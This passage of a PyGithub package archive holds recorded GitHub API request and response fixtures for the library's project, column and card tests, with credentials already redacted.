:false,"has_pages":false,"forks_count":691,"mirror_url":null,"archived":false,"open_issues_count":103,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":691,"open_issues":103,"watchers":1976,"default_branch":"master"},"network_count":691,"subscribers_count":0} https GET api.github.com None /projects/1682941 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"d41667487e81d823d4dfd11da0547f36"'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.074803'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED5E:528C:C8567:104287:5B71EE27')] {"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/1682941","html_url":"https://github.com/bbi-yggy/PyGithub/projects/1","columns_url":"https://api.github.com/projects/1682941/columns","id":1682941,"node_id":"MDc6UHJvamVjdDE2ODI5NDE=","name":"TestProject","body":"To be used for testing project access API for PyGithub.","number":1,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:06:57Z","updated_at":"2018-08-13T05:36:20Z"} https GET api.github.com None /projects/1682941/columns {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"2651dd36184e34861070c99961911f72"'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.068263'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EDAB:528C:C8574:104296:5B71EE27')] [{"url":"https://api.github.com/projects/columns/3138830","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138830/cards","id":3138830,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMw","name":"To Do","created_at":"2018-08-01T04:07:35Z","updated_at":"2018-08-01T04:07:35Z"},{"url":"https://api.github.com/projects/columns/3138831","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138831/cards","id":3138831,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMx","name":"In Progress","created_at":"2018-08-01T04:07:43Z","updated_at":"2018-08-13T05:36:20Z"},{"url":"https://api.github.com/projects/columns/3138832","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138832/cards","id":3138832,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMy","name":"Done","created_at":"2018-08-01T04:07:47Z","updated_at":"2018-08-03T00:31:17Z"}] https GET api.github.com None /projects/columns/3138831/cards {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"b34981c73fa8d0ac5117df1816b3548f"'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.133604'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EDCD:528D:FD1E6:146E30:5B71EE27')] [{"url":"https://api.github.com/projects/columns/cards/11780055","id":11780055,"node_id":"MDExOlByb2plY3RDYXJkMTE3ODAwNTU=","note":null,"archived":false,"creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:53:59Z","updated_at":"2018-08-01T04:54:16Z","column_url":"https://api.github.com/projects/columns/3138831","content_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1"},{"url":"https://api.github.com/projects/columns/cards/12078706","id":12078706,"node_id":"MDExOlByb2plY3RDYXJkMTIwNzg3MDY=","note":null,"archived":false,"creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-13T04:46:29Z","updated_at":"2018-08-13T04:46:44Z","column_url":"https://api.github.com/projects/columns/3138831","content_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/2"},{"url":"https://api.github.com/projects/columns/cards/12079385","id":12079385,"node_id":"MDExOlByb2plY3RDYXJkMTIwNzkzODU=","note":"Test note","archived":false,"creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-13T05:36:13Z","updated_at":"2018-08-13T05:36:20Z","column_url":"https://api.github.com/projects/columns/3138831"}] https GET api.github.com None /projects/4015343 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4930'), ('X-RateLimit-Reset', '1583518122'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"859ccf140c23723c7919f2398b3871ba"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0B6:492C:F647F7:1DC6448:5E628580')] {"owner_url":"https://api.github.com/repos/jodytest1511/PyGithub","url":"https://api.github.com/projects/4015343","html_url":"https://github.com/jodytest1511/PyGithub/projects/15","columns_url":"https://api.github.com/projects/4015343/columns","id":4015343,"node_id":"MDc6UHJvamVjdDQwMTUzNDM=","name":"Project created by PyGithub","body":"Project Body","number":15,"state":"open","creator":{"login":"jodytest1511","id":61476392,"node_id":"MDQ6VXNlcjYxNDc2Mzky","avatar_url":"https://avatars1.githubusercontent.com/u/61476392?v=4","gravatar_id":"","url":"https://api.github.com/users/jodytest1511","html_url":"https://github.com/jodytest1511","followers_url":"https://api.github.com/users/jodytest1511/followers","following_url":"https://api.github.com/users/jodytest1511/following{/other_user}","gists_url":"https://api.github.com/users/jodytest1511/gists{/gist_id}","starred_url":"https://api.github.com/users/jodytest1511/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodytest1511/subscriptions","organizations_url":"https://api.github.com/users/jodytest1511/orgs","repos_url":"https://api.github.com/users/jodytest1511/repos","events_url":"https://api.github.com/users/jodytest1511/events{/privacy}","received_events_url":"https://api.github.com/users/jodytest1511/received_events","type":"User","site_admin":false},"created_at":"2020-02-25T21:03:35Z","updated_at":"2020-03-06T17:16:47Z"} https GET api.github.com None /projects/4015343/columns {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4929'), ('X-RateLimit-Reset', '1583518122'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"303e639b16402fbdd06370a9ce962b8b"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0B7:71BE:FC8452:1E34B55:5E628580')] [{"url":"https://api.github.com/projects/columns/8125057","project_url":"https://api.github.com/projects/4015343","cards_url":"https://api.github.com/projects/columns/8125057/cards","id":8125057,"node_id":"MDEzOlByb2plY3RDb2x1bW44MTI1MDU3","name":"Project Column created by PyGithub","created_at":"2020-02-25T21:03:36Z","updated_at":"2020-03-06T17:16:47Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectCard.testCreateFromIssue.txt0000644000175100001660000002476214756101563025071 0ustar00runnerdockerhttps POST api.github.com None /repos/bbi-yggy/PyGithub/projects {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Project Body", "name": "Project created by PyGithub"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 22:12:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1375'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4939'), ('X-RateLimit-Reset', '1545864082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"0aa4a598a99e9c4023607e24d2da75d3"'), ('Location', 'https://api.github.com/projects/2032101'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '9304:0E38:6742770:E4CA34B:5C23FCAF')] {"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/2032101","html_url":"https://github.com/bbi-yggy/PyGithub/projects/15","columns_url":"https://api.github.com/projects/2032101/columns","id":2032101,"node_id":"MDc6UHJvamVjdDIwMzIxMDE=","name":"Project created by PyGithub","body":"Project Body","number":15,"state":"open","creator":{"login":"bbi-yggy","id":1086629,"node_id":"MDQ6VXNlcjEwODY2Mjk=","avatar_url":"https://avatars0.githubusercontent.com/u/1086629?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-12-26T22:12:00Z","updated_at":"2018-12-26T22:12:00Z"} https POST api.github.com None /projects/2032101/columns {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "Project Column created by PyGithub"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 22:12:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '355'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4938'), ('X-RateLimit-Reset', '1545864082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"dab1f24d43d11f809fc501bf947c854a"'), ('Location', 'https://api.github.com/projects/columns/4046368'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E384:0E37:55EEB77:C01B755:5C23FCB0')] {"url":"https://api.github.com/projects/columns/4046368","project_url":"https://api.github.com/projects/2032101","cards_url":"https://api.github.com/projects/columns/4046368/cards","id":4046368,"node_id":"MDEzOlByb2plY3RDb2x1bW40MDQ2MzY4","name":"Project Column created by PyGithub","created_at":"2018-12-26T22:12:00Z","updated_at":"2018-12-26T22:12:00Z"} https POST api.github.com None /repos/bbi-yggy/PyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"title": "Issue created by PyGithub"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 22:12:01 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1716'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4937'), ('X-RateLimit-Reset', '1545864082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"44b3c790ec5cc7e4b29a1fbb95e5803c"'), ('Location', 'https://api.github.com/repos/bbi-yggy/PyGithub/issues/1'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '9308:0E37:55EEBA9:C01B7B1:5C23FCB0')] {"url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1","repository_url":"https://api.github.com/repos/bbi-yggy/PyGithub","labels_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1/labels{/name}","comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1/comments","events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1/events","html_url":"https://github.com/bbi-yggy/PyGithub/issues/1","id":394249838,"node_id":"MDU6SXNzdWUzOTQyNDk4Mzg=","number":1,"title":"Issue created by PyGithub","user":{"login":"bbi-yggy","id":1086629,"node_id":"MDQ6VXNlcjEwODY2Mjk=","avatar_url":"https://avatars0.githubusercontent.com/u/1086629?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-12-26T22:12:01Z","updated_at":"2018-12-26T22:12:01Z","closed_at":null,"author_association":"OWNER","body":null,"closed_by":null} https POST api.github.com None /projects/columns/4046368/cards {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"content_id": 394249838, "content_type": "Issue"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 22:12:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1345'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4936'), ('X-RateLimit-Reset', '1545864082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"edaf50abebabc9e604f55c3694feb344"'), ('Location', 'https://api.github.com/projects/columns/cards/16039106'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E388:0E37:55EEBEF:C01B83F:5C23FCB1')] {"url":"https://api.github.com/projects/columns/cards/16039106","project_url":"https://api.github.com/projects/2032101","id":16039106,"node_id":"MDExOlByb2plY3RDYXJkMTYwMzkxMDY=","note":null,"archived":false,"creator":{"login":"bbi-yggy","id":1086629,"node_id":"MDQ6VXNlcjEwODY2Mjk=","avatar_url":"https://avatars0.githubusercontent.com/u/1086629?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-12-26T22:12:02Z","updated_at":"2018-12-26T22:12:02Z","column_url":"https://api.github.com/projects/columns/4046368","content_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectCard.testCreateWithNote.txt0000644000175100001660000001652614756101563024715 0ustar00runnerdockerhttps POST api.github.com None /repos/bbi-yggy/PyGithub/projects {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Project Body", "name": "Project created by PyGithub"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 22:03:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1375'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4954'), ('X-RateLimit-Reset', '1545864082'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"27cb9ded58a44ad99d913856b69c9a11"'), ('Location', 'https://api.github.com/projects/2032093'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '91C2:0E37:55E9629:C00E907:5C23FAC2')] {"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/2032093","html_url":"https://github.com/bbi-yggy/PyGithub/projects/12","columns_url":"https://api.github.com/projects/2032093/columns","id":2032093,"node_id":"MDc6UHJvamVjdDIwMzIwOTM=","name":"Project created by PyGithub","body":"Project Body","number":12,"state":"open","creator":{"login":"bbi-yggy","id":1086629,"node_id":"MDQ6VXNlcjEwODY2Mjk=","avatar_url":"https://avatars0.githubusercontent.com/u/1086629?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-12-26T22:03:47Z","updated_at":"2018-12-26T22:03:47Z"} https POST api.github.com None /projects/2032093/columns {'Content-Type': 'application/json', 'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 